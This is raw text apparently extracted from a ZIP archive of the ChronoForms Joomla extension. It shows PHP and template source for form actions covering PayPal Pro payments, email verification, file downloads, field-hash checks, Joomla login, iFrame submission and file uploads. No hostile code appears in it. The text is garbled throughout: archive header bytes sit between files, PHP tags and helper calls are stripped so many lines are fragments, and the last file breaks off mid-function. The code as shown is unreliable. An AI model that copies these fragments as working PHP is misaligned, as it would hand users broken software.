$nvpstr=substr($nvpstr,$valuepos+1,strlen($nvpstr)); } return $nvpArray; } function APIERROR($resArray){ ?>
      The PayPal API has returned an error!
      Error Number:
      Error Message:
      Ack: Correlation ID: Version: Error Number: Short Message: Long Message:
      Transaction ID:
      Amount:
      AVS:
      CVV2:
      '', 'PAYMENTACTION' => 'Sale', 'CREDITCARDTYPE' => '', 'ACCT' => '', 'EXPDATE_m' => '', 'EXPDATE_y' => '', 'CVV2' => '', 'FIRSTNAME' => '', 'LASTNAME' => '', 'STREET' => '', 'CITY' => '', 'STATE' => '', 'ZIP' => '', 'COUNTRYCODE' => '', 'CURRENCYCODE' => '', 'API_USERNAME' => '', 'API_PASSWORD' => '', 'API_SIGNATURE' => '', 'USE_PROXY' => 0, 'PROXY_HOST' => '', 'PROXY_PORT' => '', 'testing' => 0, 'debugging' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ 2com_chronoforms/form_actions/paypal_pro/index.htmlnuW+A PKs>\¾))6com_chronoforms/form_actions/paypal_pro/paypal_pro.ctpnuW+A
      Paypal Pro - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'paypal_pro_config_{n}'); ?> tabStart('fields'); ?> input('action_paypal_pro_{n}_PAYMENTACTION_config', array('type' => 'hidden')); ?> input('action_paypal_pro_{n}_AMT_config', array('type' => 'text', 'label' => "Amount Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CREDITCARDTYPE_config', array('type' => 'text', 'label' => "Credit Card type Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_ACCT_config', array('type' => 'text', 'label' => "Credit Card Number Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_EXPDATE_m_config', array('type' => 'text', 'label' => "Credit Card Expiry month field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_EXPDATE_y_config', array('type' => 'text', 'label' => "Credit Card Expiry year field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CVV2_config', array('type' => 'text', 'label' => "CVV2 field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_FIRSTNAME_config', array('type' => 'text', 'label' => "First Name Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_LASTNAME_config', array('type' => 'text', 'label' => "Last Name Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_STREET_config', array('type' => 'text', 'label' => "Street Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CITY_config', array('type' => 'text', 'label' => "City Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_STATE_config', array('type' => 'text', 'label' => "State Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_ZIP_config', array('type' => 'text', 'label' => "Zip Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_COUNTRYCODE_config', array('type' => 'text', 'label' => "Country Code Field", 'class' => 'medium_input', 'smalldesc' => "2 Characters value, e.g: US, CA, UK..etc")); ?> input('action_paypal_pro_{n}_CURRENCYCODE_config', array('type' => 'text', 'label' => "Currency Code Field", 'class' => 'medium_input', 'smalldesc' => 'e.g: USD, GBP, EUR..etc')); ?> input('action_paypal_pro_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_paypal_pro_{n}_API_USERNAME_config', array('type' => 'text', 'label' => "API Username", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_API_PASSWORD_config', array('type' => 'text', 'label' => "API Password", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_API_SIGNATURE_config', array('type' => 'text', 'label' => "API Signature", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_USE_PROXY_config', array('type' => 'select', 'label' => 'Use Proxy ?', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_paypal_pro_{n}_PROXY_HOST_config', array('type' => 'text', 'label' => "Proxy host IP", 'class' => 'small_input', 'value' => '')); ?> input('action_paypal_pro_{n}_PROXY_PORT_config', array('type' => 'text', 'label' => "Proxy Port", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_debugging_config', array('type' => 'select', 'label' => 'Debugging', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_paypal_pro_{n}_testing_config', array('type' => 'select', 'label' => 'Testing', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will work only with web payments pro enabled Paypal account, this is available to Paypal users at the US, UK and Canada only at the moment according to Paypal.
      • Map your form fields names to the fields required by Paypal Pro, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: paypal_field_name=form_field_name
      • Enter your Paypal pro api account settings.
      • If you enable the debugging then you will see the Paypal Pro response in the same event page.
      • Some response data will be stored after the response is received under the $form->data['_PLUGINS_']['paypal_pro'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['paypal_pro']);

      tabEnd(); ?>
      PKs>\Tcom_chronoforms/form_actions/email_verification_sender/email_verification_sender.phpnuW+A '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Email Verification', 'tooltip' => 'Sends the email and saves the data into DB.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); //save the data to db $db_save_details = $actiondata; $db_save_details->type = 'db_save'; $db_save_Params = new JParameter(''); $db_save_Params->set('table_name', $params->get('table_name')); $db_save_details->params = $db_save_Params->toString(); $form->data[trim($params->get('verify_field', 'verify'))] = md5(uniqid(rand(), true)); $form->data[trim($params->get('verification_status_field', 'verified'))] = 0; if(trim($params->get('files_array_field', ''))){ $form->data[trim($params->get('files_array_field'))] = var_export($form->files, true); } $form->runAction($db_save_details); //add the verification link value to the data array $form->data['verification_link'] = $params->get('verification_link_path', $uri->root().'index.php?option=com_chronoforms&chronoform='.$form->form_name); $form->data['verification_link'] .= '&action=verify&hash='.$form->data[trim($params->get('verify_field', 'verify'))]; } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'verify_field' => '', 'verification_status_field' => '', 'files_array_field' => '', 'verification_link_path' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\.pTcom_chronoforms/form_actions/email_verification_sender/email_verification_sender.ctpnuW+A
      Email Verification Sender
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'email_verification_sender_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_email_verification_sender_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table to which the form data will be stored, form fields names should match the table columns names.')); ?> input('action_email_verification_sender_{n}_verify_field_config', array('type' => 'text', 'label' => "Verification code field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification code will be stored.')); ?> input('action_email_verification_sender_{n}_verification_status_field_config', array('type' => 'text', 'label' => "Verification status field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification status (0 or 1) will be stored. (a TINYINT(1) field is perfect)')); ?> input('action_email_verification_sender_{n}_files_array_field_config', array('type' => 'text', 'label' => "Files array field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the form files array is going to be saved, this is necessary only if your form is uploading some files, should be of type TEXT')); ?> input('action_email_verification_sender_{n}_verification_link_path_config', array('type' => 'text', 'label' => "Verification link path", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The verification link path, this is typically the link to your form event which has the "Email verification response" action.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the db table where you want your form data to be stored at along with the verification code.
      • Your table should have some field to store the verification code.
      • Enter the name of your verification code field without any spaces.(preferably a VARCHAR(255) field)(e.g: verify)
      • Enter the name of your verification status field without any spaces.(preferably a TINYINT(1) field)()e.g: verified
      • Enter the path to your "Email verification response" processor action, this is usually the link to your form in the frontend (you can add it to any other form you want).
      • Add an Email action after this action to send the verification email, you can use {verification_link} to display the link in your email, you can use {verify} to display the verification code only.

      tabEnd(); ?>
      PKs>\)@com_chronoforms/form_actions/email_verification_sender/.htaccessnuW+A Order allow,deny Deny from all PKs>\ Acom_chronoforms/form_actions/email_verification_sender/index.htmlnuW+A PKs>\)6com_chronoforms/form_actions/file_downloader/.htaccessnuW+A Order allow,deny Deny from all PKs>\*| @com_chronoforms/form_actions/file_downloader/file_downloader.ctpnuW+A
      File Downloader
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'file_downloader_config_{n}'); ?> tabStart('settings'); ?> input('action_file_downloader_{n}_display_config', array('type' => 'select', 'label' => "Download Type", 'options' => array('D' => 'Download', 'I' => 'Inline'), 'smalldesc' => "Select what the user is going to get.")); ?> input('action_file_downloader_{n}_downloads_path_config', array('type' => 'text', 'label' => "Downloads Path", 'class' => 'big_input', 'smalldesc' => "The absolute path to the downloads directory on the server.
      You can use \"JOOMLA_PATH\" in the path, it will be replaced by the website path in runtime.")); ?> input('action_file_downloader_{n}_file_name_config', array('type' => 'text', 'label' => "File name", 'class' => 'medium_input', 'smalldesc' => "The file name.")); ?> input('action_file_downloader_{n}_file_name_path_config', array('type' => 'text', 'label' => "File Name Path", 'class' => 'medium_input', 'smalldesc' => "The path to the file name in the data array, helpful when processing dynamic data.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will display a download dialogue for a specific file or will display it inline based on your configuration.
      • If this doesn't work then please use a "Debugger" action to check for any problems.

      tabEnd(); ?>
      PKs>\ 7com_chronoforms/form_actions/file_downloader/index.htmlnuW+A PKs>\TD,,@com_chronoforms/form_actions/file_downloader/file_downloader.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'File Downloader', 'tooltip' => "Sends the specified file data to the browser, prompting a file download on the end user's machine."); var $_headers = array(); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //check download type $dest = $params->get('display', 'D'); $file_name = $params->get('file_name', ''); $file_name_path = $params->get('file_name_path', ''); if(!empty($file_name_path)){ $file_name = $form->get_array_value($form->data, explode('.', $file_name_path)); } $download_file_name = $params->get('download_file_name', $file_name); $extension = strtolower(array_pop(explode('.', $file_name))); $downloads_path = $params->get('downloads_path', ''); if(!empty($downloads_path)){ $downloads_path = str_replace(array("/", "\\"), DS, $downloads_path); if(substr($downloads_path, -1) == DS){ $downloads_path = substr_replace($downloads_path, '', -1); } $downloads_path = str_replace("JOOMLA_PATH", JPATH_SITE, $downloads_path).DS; $params->set('downloads_path', $downloads_path); }else{ //file name is empty $form->debug['file_downloader'][] = "File path provided is empty(wrong)!"; } $file_path = $downloads_path.$params->get('file_name', ''); if(!file_exists($file_path)){ //file doesn't exist $form->debug['file_downloader'][] = "The file path doesn't exist: ".$file_path; } $mime = $this->get_mimes($file_path, $extension); if ($mime !== false && connection_status() == 0) { $chunkSize = 8192; $buffer = ''; $fileSize = @filesize($file_path); $handle = fopen($file_path, 'rb'); if ($handle === false) { return false; } //change later $modified = null; if (!empty($modified)) { $modified = gmdate('D, d M Y H:i:s', strtotime($modified, time())) . ' GMT'; } else { $modified = gmdate('D, d M Y H:i:s') . ' GMT'; } if ($dest == 'D') { $contentTypes = array('application/octet-stream'); $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('%Opera(/| )([0-9].[0-9]{1,2})%', $agent)) { $contentTypes[0] = 'application/octetstream'; } else if (preg_match('/MSIE ([0-9].[0-9]{1,2})/', $agent)) { $contentTypes[0] = 'application/force-download'; array_merge($contentTypes, array( 'application/octet-stream', 'application/download' )); } foreach($contentTypes as $contentType) { $this->_header('Content-Type: ' . $contentType); } $this->_header(array( 'Content-Disposition: attachment; filename="' . $download_file_name . '";', 'Expires: 0', 'Accept-Ranges: bytes', 'Cache-Control: private' => false, 'Pragma: private')); $httpRange = $_SERVER['HTTP_RANGE']; if (isset($httpRange)) { list($toss, $range) = explode('=', $httpRange); $size = $fileSize - 1; $length = $fileSize - $range; $this->_header(array( 'HTTP/1.1 206 Partial Content', 'Content-Length: ' . $length, 'Content-Range: bytes ' . $range . $size . '/' . $fileSize)); fseek($handle, $range); } else { $this->_header('Content-Length: ' . $fileSize); } } else { $this->_header('Date: ' . gmdate('D, d M Y H:i:s', time()) . ' GMT'); if ($cache) { if (!is_numeric($cache)) { $cache = strtotime($cache) - time(); } $this->_header(array( 'Cache-Control: max-age=' . $cache, 'Expires: ' . gmdate('D, d M Y H:i:s', time() + $cache) . ' GMT', 'Pragma: cache')); } else { $this->_header(array( 'Cache-Control: must-revalidate, post-check=0, pre-check=0', 'Pragma: no-cache')); } $this->_header(array( 'Last-Modified: ' . $modified, 'Content-Type: ' . $mime, 'Content-Length: ' . $fileSize)); } $this->_output(); $this->_clearBuffer(); while (!feof($handle)) { if (!$this->_isActive()) { fclose($handle); return false; } set_time_limit(0); $buffer = fread($handle, $chunkSize); echo $buffer; $this->_flushBuffer(); } fclose($handle); return; } return false; } function get_mimes($filename, $ext){ $mimeType = array( 'ai' => 'application/postscript', 'bcpio' => 'application/x-bcpio', 'bin' => 'application/octet-stream', 'ccad' => 'application/clariscad', 'cdf' => 'application/x-netcdf', 'class' => 'application/octet-stream', 'cpio' => 'application/x-cpio', 'cpt' => 'application/mac-compactpro', 'csh' => 'application/x-csh', 'csv' => 'application/csv', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dms' => 'application/octet-stream', 'doc' => 'application/msword', 'drw' => 'application/drafting', 'dvi' => 'application/x-dvi', 'dwg' => 'application/acad', 'dxf' => 'application/dxf', 'dxr' => 'application/x-director', 'eot' => 'application/vnd.ms-fontobject', 'eps' => 'application/postscript', 'exe' => 'application/octet-stream', 'ez' => 'application/andrew-inset', 'flv' => 'video/x-flv', 'gtar' => 'application/x-gtar', 'gz' => 'application/x-gzip', 'bz2' => 'application/x-bzip', '7z' => 'application/x-7z-compressed', 'hdf' => 'application/x-hdf', 'hqx' => 'application/mac-binhex40', 'ico' => 'image/vnd.microsoft.icon', 'ips' => 'application/x-ipscript', 'ipx' => 'application/x-ipix', 'js' => 'application/x-javascript', 'latex' => 'application/x-latex', 'lha' => 'application/octet-stream', 'lsp' => 'application/x-lisp', 'lzh' => 'application/octet-stream', 'man' => 'application/x-troff-man', 'me' => 'application/x-troff-me', 'mif' => 'application/vnd.mif', 'ms' => 'application/x-troff-ms', 'nc' => 'application/x-netcdf', 'oda' => 'application/oda', 'otf' => 'font/otf', 'pdf' => 'application/pdf', 'pgn' => 'application/x-chess-pgn', 'pot' => 'application/mspowerpoint', 'pps' => 'application/mspowerpoint', 'ppt' => 'application/mspowerpoint', 'ppz' => 'application/mspowerpoint', 'pre' => 'application/x-freelance', 'prt' => 'application/pro_eng', 'ps' => 'application/postscript', 'roff' => 'application/x-troff', 'scm' => 'application/x-lotusscreencam', 'set' => 'application/set', 'sh' => 'application/x-sh', 'shar' => 'application/x-shar', 'sit' => 'application/x-stuffit', 'skd' => 'application/x-koan', 'skm' => 'application/x-koan', 'skp' => 'application/x-koan', 'skt' => 'application/x-koan', 'smi' => 'application/smil', 'smil' => 'application/smil', 'sol' => 'application/solids', 'spl' => 'application/x-futuresplash', 'src' => 'application/x-wais-source', 'step' => 'application/STEP', 'stl' => 'application/SLA', 'stp' => 'application/STEP', 'sv4cpio' => 'application/x-sv4cpio', 'sv4crc' => 'application/x-sv4crc', 'svg' => 'image/svg+xml', 'svgz' => 'image/svg+xml', 'swf' => 'application/x-shockwave-flash', 't' => 'application/x-troff', 'tar' => 'application/x-tar', 'tcl' => 'application/x-tcl', 'tex' => 'application/x-tex', 'texi' => 'application/x-texinfo', 'texinfo' => 'application/x-texinfo', 'tr' => 'application/x-troff', 'tsp' => 'application/dsptype', 'ttf' => 'font/ttf', 'unv' => 'application/i-deas', 'ustar' => 'application/x-ustar', 'vcd' => 'application/x-cdlink', 'vda' => 'application/vda', 'xlc' => 'application/vnd.ms-excel', 'xll' => 'application/vnd.ms-excel', 'xlm' => 'application/vnd.ms-excel', 'xls' => 'application/vnd.ms-excel', 'xlw' => 'application/vnd.ms-excel', 'zip' => 'application/zip', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'au' => 'audio/basic', 'kar' => 'audio/midi', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'ra' => 'audio/x-realaudio', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'snd' => 'audio/basic', 'tsi' => 'audio/TSP-audio', 'wav' => 'audio/x-wav', 'asc' => 'text/plain', 'c' => 'text/plain', 'cc' => 'text/plain', 'css' => 'text/css', 'etx' => 'text/x-setext', 'f' => 'text/plain', 'f90' => 'text/plain', 'h' => 'text/plain', 'hh' => 'text/plain', 'htm' => 'text/html', 'html' => 'text/html', 'm' => 'text/plain', 'rtf' => 'text/rtf', 'rtx' => 'text/richtext', 'sgm' => 'text/sgml', 'sgml' => 'text/sgml', 'tsv' => 'text/tab-separated-values', 'tpl' => 'text/template', 'txt' => 'text/plain', 'xml' => 'text/xml', 'avi' => 'video/x-msvideo', 'fli' => 'video/x-fli', 'mov' => 'video/quicktime', 'movie' => 'video/x-sgi-movie', 'mpe' => 'video/mpeg', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'qt' => 'video/quicktime', 'viv' => 'video/vnd.vivo', 'vivo' => 'video/vnd.vivo', 'gif' => 'image/gif', 'ief' => 'image/ief', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'pbm' => 'image/x-portable-bitmap', 'pgm' => 'image/x-portable-graymap', 'png' => 'image/png', 'pnm' => 'image/x-portable-anymap', 'ppm' => 'image/x-portable-pixmap', 'ras' => 'image/cmu-raster', 'rgb' => 'image/x-rgb', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'xbm' => 'image/x-xbitmap', 'xpm' => 'image/x-xpixmap', 'xwd' => 'image/x-xwindowdump', 'ice' => 'x-conference/x-cooltalk', 'iges' => 'model/iges', 'igs' => 'model/iges', 'mesh' => 'model/mesh', 'msh' => 'model/mesh', 'silo' => 'model/mesh', 'vrml' => 'model/vrml', 'wrl' => 'model/vrml', 'mime' => 'www/mime', 'pdb' => 'chemical/x-pdb', 'xyz' => 'chemical/x-pdb'); if(function_exists('mime_content_type')){ return mime_content_type($filename); }else{ //check file extension if(isset($mimeType[$ext])){ return $mimeType[$ext]; }elseif(function_exists('finfo_open')){ $finfo = finfo_open(FILEINFO_MIME); $mimetype = finfo_file($finfo, $filename); finfo_close($finfo); return $mimetype; }else{ return 'application/octet-stream'; } } } function _header($header, $boolean = true) { if (is_array($header)) { foreach ($header as $string => $boolean) { if (is_numeric($string)) { $this->_headers[] = array($boolean => true); } else { $this->_headers[] = array($string => $boolean); } } return; } $this->_headers[] = array($header => $boolean); return; } function _output() { foreach ($this->_headers as $key => $value) { $header = key($value); header($header, $value[$header]); } } function _isActive() { return connection_status() == 0 && !connection_aborted(); } function _clearBuffer() { return @ob_end_clean(); } function _flushBuffer() { @flush(); @ob_flush(); } function load($clear){ if($clear){ $action_params = array( 'display' => 'D', 'downloads_path' => '', 'download_file_name' => '', 'file_name_path' => '', 'file_name' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ 9com_chronoforms/form_actions/check_fields_hash/index.htmlnuW+A PKs>\4aDcom_chronoforms/form_actions/check_fields_hash/check_fields_hash.phpnuW+A 'form_security', 'title' => 'Security'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Fields Hash', 'tooltip' => "Generates a new hash based on the new fields values and compares it to the existing one.
      Your fields list here should match the list in the load action, and should be in the SAME ORDER."); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); //get secret $secret = $mainframe->getCfg('secret'); $fields = array(); if(strlen(trim($params->get('fields', '')))){ $fields = explode(',', trim($params->get('fields', ''))); } $hashed_values = array(); foreach($fields as $k => $field){ $hashed_values[$field] = $form->get_array_value($form->data, explode('.', $field)); } $form->debug['Check Fields Hash'][$actiondata->order] = $hashed_values; $hash = serialize($hashed_values); $hash = md5($hash); $hash = md5($hash.':'.$secret); $hash_field_name = trim($params->get('hash_field_name', 'cf_fields_hash')); if(!empty($form->data[$hash_field_name]) && ($form->data[$hash_field_name] == $hash)){ $this->events['success'] = 1; return true; }else{ $this->events['fail'] = 1; return false; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'hash_field_name' => 'cf_fields_hash', 'fields' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\n#&W W Dcom_chronoforms/form_actions/check_fields_hash/check_fields_hash.ctpnuW+A
      Check Fields Hash
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'check_fields_hash_config_{n}'); ?> tabStart('settings'); ?> input('action_check_fields_hash_{n}_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields, no spaces, you can use dots to get sub arrays values.')); ?> input('action_check_fields_hash_{n}_hash_field_name_config', array('type' => 'text', 'label' => 'Hash field name', 'smalldesc' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will generate a security hash of some fields values, you can check the hash back in the "on submit" event using the "check fields hash" action.
      • The goal here is to make sure that these fields values have not been changed by the end user after they have been sent by the server.
      • Insert a list of fields names to be hashed.
      • The order of this action in the load routine, should only be when the fields data exist in the $form->data array.
      • Only fields values in the $form->data array will be used, default fields values will NOT be checked and WILL generate a fail error if checked.

      tabEnd(); ?>
      PKs>\)8com_chronoforms/form_actions/check_fields_hash/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 4com_chronoforms/form_actions/joomla_login/index.htmlnuW+A PKs>\)3com_chronoforms/form_actions/joomla_login/.htaccessnuW+A Order allow,deny Deny from all PKs>\Q&~~:com_chronoforms/form_actions/joomla_login/joomla_login.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Login', 'tooltip' => 'Tries to login some user to the Joomla system based on the credentials provided.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); // Get required system objects JRequest::setVar('username', JRequest::getVar($params->get('username', ''))); JRequest::setVar('password', JRequest::getVar($params->get('password', ''))); $credentials = array(); $credentials['username'] = JRequest::getVar('username'); $credentials['password'] = JRequest::getVar('password'); if($mainframe->login($credentials) === true){ $this->events['success'] = 1; //redirect if so $redirect = $params->get('redirect_url', ''); if(!empty($redirect)){ $mainframe->redirect($redirect); } }else{ $this->events['fail'] = 1; $form->validation_errors[] = 'Invalid username or password.'; return false; } } function load($clear){ if($clear){ $action_params = array( 'username' => '', 'password' => '', 'redirect_url' => 'index.php' ); } return array('action_params' => $action_params); } } ?>PKs>\ؐI :com_chronoforms/form_actions/joomla_login/joomla_login.ctpnuW+A
      Joomla Login
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'joomla_login_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_login_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_login_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_login_{n}_redirect_url_config', array('type' => 'text', 'label' => 'Redirect URL', 'class' => 'big_input', 'smalldesc' => 'The URL to redirect to after login.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PKs>\ 4^^Gcom_chronoforms/form_actions/iframe_request/cfaction_iframe_request.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $cf_url = $uri->root(); $cf_url .= 'administrator/components/com_chronoforms/form_actions/iframe_request/'; $document->addScript($cf_url.'iFrameFormRequest.js'); //create the JS function ob_start(); ?> //form_name; ?> = new iFrameFormRequest('chronoform_form_name; ?>',{ onRequest: function(){ get('onrequest_fn'))) > 0){ echo trim($params->get('onrequest_fn')).";"; } ?> }, onComplete: function(response){ get('response_element_id'))) > 0): ?> document.id('get('response_element_id')); ?>').set('html',response); get('onsuccess_fn'))) > 0){ echo trim($params->get('onsuccess_fn')).";"; } ?> } }); }); //]]> addScriptDeclaration($script); } } ?>PKs>\ 6com_chronoforms/form_actions/iframe_request/index.htmlnuW+A PKs>\Gcom_chronoforms/form_actions/iframe_request/cfaction_iframe_request.ctpnuW+AloadAction($form, $actiondata); ?>PKs>\=>hh>com_chronoforms/form_actions/iframe_request/iframe_request.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'iFrame Request', 'tooltip' => 'Submit the form using a hidden iFrame, similar to AJAX and supports file uploading.'); function load($clear){ if($clear){ $action_params = array( 'enabled' => 0, 'response_element_id' => '', 'onrequest_fn' => '', 'onsuccess_fn' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\L >com_chronoforms/form_actions/iframe_request/iframe_request.ctpnuW+A
      iFrame Request
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'iframe_request_config_{n}'); ?> tabStart('settings'); ?> input('action_iframe_request_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabel iFrame Request', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable the form to be submitted using a hidden iFrame.')); ?> input('action_iframe_request_{n}_response_element_id_config', array('type' => 'text', 'label' => "Response Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will be loaded with the response string when the request is completed with success.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_iframe_request_{n}_onrequest_fn_config', array('type' => 'text', 'label' => "On Request Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is sent, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_iframe_request_{n}_onsuccess_fn_config', array('type' => 'text', 'label' => "On Success Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is completed successfully, please add the 2 brackets at the end, e.g: myfn()")); ?> tabEnd(); ?> tabStart('help'); ?>

      • If you want the user to submit the form without leaving the current page then this action should do what you need.
      • You may wrap the form into a div and use the div's id as the "Response Element ID" to display the submission result.

      tabEnd(); ?>
      PKs>\]EE@com_chronoforms/form_actions/iframe_request/iFrameFormRequest.jsnuW+A/* --- description: This class gives you a method to upload files 'the ajax way' license: MIT-style authors: - Arian Stolwijk requires: [Class, Options, Events, Element, Element.Event, Element.Style] provides: [Element.iFrameFormRequest, iFrameFormRequest] ... */ /** * @author Arian Stolwijk * Idea taken from http://www.webtoolkit.info/ajax-file-upload.html */ var iFrameFormRequest = new Class({ Implements: [Options, Events], options: { /* onRequest: function(){}, onComplete: function(data){}, onFailure: function(){}, */ eventName: 'submit' }, initialize: function(form, options){ this.setOptions(options); var frameId = this.frameId = String.uniqueID(); var loading = false; this.form = document.id(form); this.formEvent = function(){ loading = true; this.fireEvent('request'); }.bind(this); this.iframe = new IFrame({ name: frameId, styles: { display: 'none' }, src: 'about:blank', events: { load: function(){ if (loading){ var doc = this.iframe.contentWindow.document; if (doc && doc.location.href != 'about:blank'){ this.fireEvent('complete', doc.body.innerHTML); } else { this.fireEvent('failure'); } loading = false; } }.bind(this) } }).inject(document.body); this.attach(); }, send: function(){ this.form.submit(); }, attach: function(){ this.target = this.form.get('target'); this.form.set('target', this.frameId) .addEvent(this.options.eventName, this.formEvent); }, detach: function(){ this.form.set('target', this.target) .removeEvent(this.options.eventName, this.formEvent); }, toElement: function(){ return this.iframe; } }); Element.implement('iFrameFormRequest', function(options){ this.store('iFrameFormRequest', new iFrameFormRequest(this, options)); return this; }); PKs>\)5com_chronoforms/form_actions/iframe_request/.htaccessnuW+A Order allow,deny Deny from all PKs>\{!N4"":com_chronoforms/form_actions/upload_files/upload_files.phpnuW+A 0, 'fail' => 0); var $fail = array('actions' => array('show_HTML')); var $details = array('title' => 'Upload Files', 'tooltip' => "Control the files uploaded through your form's files fields."); var $upload_path = ''; var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $files_config = $this->params->get('files', ''); if($actiondata->enabled == 1 && !empty($files_config)){ jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); $upload_path = $this->params->get('upload_path'); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $this->params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $this->upload_path = $upload_path; if(!JFile::exists($this->upload_path.DS.'index.html')){ if(!JFolder::create($this->upload_path)){ JError::raiseWarning(100, 'Couldn\'t create upload directroy 1'); $this->events['fail'] = 1; return; } $dummy_c = ''; if(!JFile::write($this->upload_path.DS.'index.html', $dummy_c)){ JError::raiseWarning(100, 'Couldn\'t create upload directroy 2'); $this->events['fail'] = 1; return; } } $files_array = explode(",", trim($this->params->get('files', ''))); //get array fields $array_fields = array(); 